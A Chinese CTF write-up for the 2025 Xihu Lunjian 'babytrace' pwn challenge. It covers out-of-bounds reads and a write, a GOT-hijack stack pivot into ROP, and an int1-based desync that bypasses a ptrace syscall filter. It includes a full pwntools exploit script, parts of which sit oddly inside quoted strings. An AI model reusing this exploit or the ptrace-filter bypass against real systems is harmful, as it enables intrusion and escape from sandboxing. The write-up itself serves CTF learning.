当前位置: 首页 > news >正文

2025西湖论剑-babytrace

前言

就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下

漏洞分析

子进程中的读/写功能没有检查负数的情况,存在越界读写:

void __fastcall get_value(__int64 *int64_arr)
{__int64 ll; // [rsp+18h] [rbp-8h]if ( dword_202018 > 1 ){puts("permission denied!");}else{puts("which one?");ll = get_ll();if ( ll > 2 )                               // 负数没检查exit(1);printf("num[%lld] = %lld\n", ll, int64_arr[ll]);++dword_202018;}
}void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL);puts("which one?");ll = get_ll();if ( ll > 2 )                               // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}

所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010 是在被写之后赋值为 0 的,所以无法通过修改 dword_202008 去实现无限次越界读,但是两次也足够了。

利用越界读泄漏 libcstack

劫持程序执行流执行rop

泄漏了 libcstack 后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value 中会先读 512 字节到栈上:

void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL);                     // 读取 512 字节puts("which one?");ll = get_ll();if ( ll > 2 )                               // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}

所以很明显这里可以把 rop 链放在 buf 上,然后想办法把栈迁移过去。这里的 buf 的地址为低地址,并且只有 8 字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret,栈迁移也不好做,所以这里我歇菜了

这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got,因为后面会调用 puts 函数,其会调用到 libc 中的 __strlen_evex.got,而在执行 puts 时,栈就被抬上去了,所以我们修改 __strlen_evex.got 为一个 add rsp xxx; ret 就有机会执行 rop 了,而 add rsp, xxx; ret 还是比 sub rsp, xxx; ret 好找的

绕过 ptrace 对系统调用的过滤

可以执行 rop 后,接下来就是考虑如何绕过父进程中的 ptracesyscall 系统调用号的检查:

 ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);do{ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )break;if ( ptrace(PTRACE_GETREGS, pid, 0LL, &regs) < 0 )error("GETREGS error");if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 ){if ( regs.orig_rax ){printf("bad syscall: %llu\n", regs.orig_rax);regs.orig_rax = -1LL;if ( ptrace(PTRACE_SETREGS, pid, 0LL, &regs) < 0 )error("SETREGS error");}}ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");}while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );

这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid,其本意为:

# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");

但是这里 waitpid 捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop 中我们可以先通过某些 gadget 发出一个信号,此时被第一个 waitpid 捕获,后面在执行系统调用时,检查的逻辑就成了:

# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check

所以这里就成功绕过了检查,最后的 exp 如下:

直接执行 system 可能会出现问题,因为 system 中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来

from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()menu   = b'choose one >'def set_val(data, idx, val):sla(menu, b'1')sla(b'recv:\n', data)sla(b"which one?\n", byte(idx))sla(b"set value?\n", byte(val))def get_val(idx):sla(menu, b'2')sla(b"which one?\n", byte(idx))#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf    = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)rop  = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()

远程效果如下:
在这里插入图片描述

后记

gpt 写一个正确使用 PTRACE_SYSCALL 的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>   // 定义寄存器偏移量
#include <sys/user.h>  // 定义 user_regs_structint main(int argc, char *argv[]) {if (argc < 2) {fprintf(stderr, "Usage: %s <program>\n", argv[0]);exit(1);}pid_t child = fork();if (child == 0) {// 子进程:执行目标程序ptrace(PTRACE_TRACEME, 0, NULL, NULL);execl(argv[1], argv[1], NULL);} else {// 父进程:跟踪目标进程int status;struct user_regs_struct regs;waitpid(child, &status, 0);  // 等待子进程停止ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);while (1) {// 继续执行,直到下一个系统调用事件ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 进入系统调用ptrace(PTRACE_GETREGS, child, 0, &regs);printf("Entered syscall: %lld\n", regs.orig_rax);// 继续执行,直到系统调用退出ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 退出系统调用ptrace(PTRACE_GETREGS, child, 0, &regs);printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);}}if (WIFEXITED(status)) {// 目标进程退出printf("Child process exited\n");break;}}}return 0;
}

可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80) 去过滤由系统调用产生的 SIGTRAP 信号,注意这里要配合 PTRACE_O_TRACESYSGOOD,其会将系统调用产生的 SIGTRAP 信号与上 0x80,就是用来区分其他事件产生的 SIGTRAP 信号

http://www.lryc.cn/news/523118.html

相关文章:

  • 绘图专用,26个常见流程图符号及其解释
  • 【个人学习记录】软件开发生命周期(SDLC)是什么?
  • 自学SpringBoot笔记
  • 03JavaWeb——Ajax-Vue-Element(项目实战)
  • [leetcode](找到vector中的特定元素并删除)无重复字符的最长子串
  • Mockito+PowerMock+Junit单元测试
  • Ncat: bind to :::7777: Address already in use报错问题解决
  • Docker 搭建mysql 连接超时问题,xxl-job启动mysql连接报错,禁用dns
  • 在线图片像素颜色拾取工具
  • Qt之登录界面(splash)
  • NotebookLM:Google 最新 AI 笔记助理解析与实战应用
  • 软路由系统iStoreOS 一键安装 docker compose
  • vue3本地文件下载
  • 纯代码实现给WordPress添加文章复制功能
  • Redis 中 TTL 的基本知识与禁用缓存键的实现策略(Java)
  • 【PyQt】图像处理系统
  • Ruby语言的循环实现
  • javaEE安全开发 SQL预编译 Filter过滤器 Listener 监听器 访问控制
  • 一体机cell服务器更换内存步骤
  • Hadoop•用Web UI查看Hadoop状态词频统计
  • rhel7.9利用有网络环境打包ansible
  • vim文本编辑器三种模式的转换关系
  • 深度学习:大模型Decoding+MindSpore NLP分布式推理详解
  • 【JVM中的三色标记法是什么?】
  • 数据库服务体系结构
  • vscode项目依赖问题
  • R数据分析:有调节的中介与有中介的调节的整体介绍
  • RabbitMQ-消息可靠性以及延迟消息
  • Hack The Box-Starting Point系列Oopsie
  • Linux运维篇-PAM安全模块配置